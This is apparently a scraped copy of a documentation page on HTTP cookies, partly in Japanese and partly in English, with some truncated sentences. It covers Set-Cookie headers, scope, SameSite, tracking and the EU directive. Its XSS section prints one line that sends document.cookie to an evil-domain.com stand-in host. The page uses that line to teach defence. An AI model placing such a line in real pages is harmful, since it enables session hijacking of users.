HTTP Cookie (ウェブ Cookie、ブラウザー Cookie) はサーバーがユーザーのウェブブラウザーに送信する小さなデータであり、ブラウザーに保存されて次のリクエストと共に同じサーバーへ返送されます。一般的には 2 つのリクエストが同じブラウザから送信したものであるかを知るために使用されて、例えばユーザーのログイン状態を維持することができます。Cookie は、ステートレスな HTTP プロトコルのためにステートフルな情報を記憶します。
Cookie は主に、以下の 3 つの用途で使用されます:
- セッション管理 (ユーザーのログイン、ショッピングカート)
- 個人設定 (ユーザーの設定)
- トラッキング (ユーザーの行動を分析する)
また Cookie は、汎用的なクライアント側の記憶領域としても使用されます。このほかにクライアント側へデータを保存する手段がなかった頃はこの使い方が合理的であると考えられていましたが、さまざまなストレージ API がウェブブラウザーに備わっている現在は適切な使い方ではありません。Cookie はすべてのリクエストで送信されますので、(特にモバイルウェブで) パフォーマンス上の負担を増やす可能性があります。ローカルストレージ用に考えられた新しい API が、Web storage API (
sessionStorage) と IndexedDB です。
保存された Cookie (およびウェブページが使用可能な他の種類のストレージ) を確認するには、開発ツールの ストレージインスペクター を有効化して、ストレージのツリーで Cookie ストレージを選択してください。
When receiving an HTTP request, a server can send a
Set-Cookie header with the response. The cookie is usually stored by the browser and, afterwards, the cookie value is sent along with every request made to the same server as the content of a
Cookie HTTP header. Additionally, an expiration delay can be specified as well as restrictions to a specific domain and path, limiting how long and to which site the cookie is sent to.
Set-Cookie and Cookie headers
Set-Cookie HTTP response header is used to send cookies from the server to the user agent. A simple cookie can be set like this:
The server tells the client to store a cookie (for example, applications like PHP, Node.js, Python, or Ruby on Rails do it). The response sent to the browser will contain the
Set-Cookie header and the browser will store the cookie.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
The simple cookie created above is a session cookie: It will get removed when the client is shut down, they last only for the duration of the session. They don't specify any
Max-Age directives. Note, however, that web browsers often have session restoring enabled, which will make most session cookies actually permanent as if the browser was never closed.
Instead of expiring when the client is closed, permanent cookies expire at a specific date (
Expires) or after a specific length of time (
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
A secure cookie will only be sent to the server when a request is made using SSL and the HTTPS protocol. However, note that confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure and this flag won't offer you any additional encryption or security.
Document.cookie property, the
HttpOnly flag should be set.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Scope of cookies
Path directives define the scope of the cookie, that is the set of URLs the cookies should be send back to.
Domain specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). If a domain is specified, subdomains are always included.
Domain=mozilla.org is set, cookies are included on subdomains like
Path indicates a URL path that must exist in the requested resource before sending the
Cookie header. The %x2F ("/") character is interpreted as a directory separator and sub directories will be matched as well.
Path=/docs is set, these paths will all be matched:
SameSite cookies allow servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks (CSRF).
SameSite cookies are still experimental and not yet supported by all browsers.
New cookies can also be created using the
Document.cookie property, and if the
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Confidential or sensitive information should never be stored or transmitted in HTTP Cookies as the entire mechanism is inherently insecure.
Session hijacking and XSS
Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application.
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Cross-site request forgery (CSRF)
Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:
Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:
- As with XSS, input filtering is import.
- There should always be a confirmation required for any sensitive action.
- Cookies that are used for sensitive actions should have a short lifetime only.
- For more prevention tips, see the OWASP CSRF prevention cheat sheet.
Tracking and privacy
Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).
There are no legal or technological requirements for its use, but the
DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the
DNT header for more information.
EU cookie directive
Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.
For more, see this Wikipedia section and consult state laws for the latest and most accurate information.
Zombie cookies and Evercookies
A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.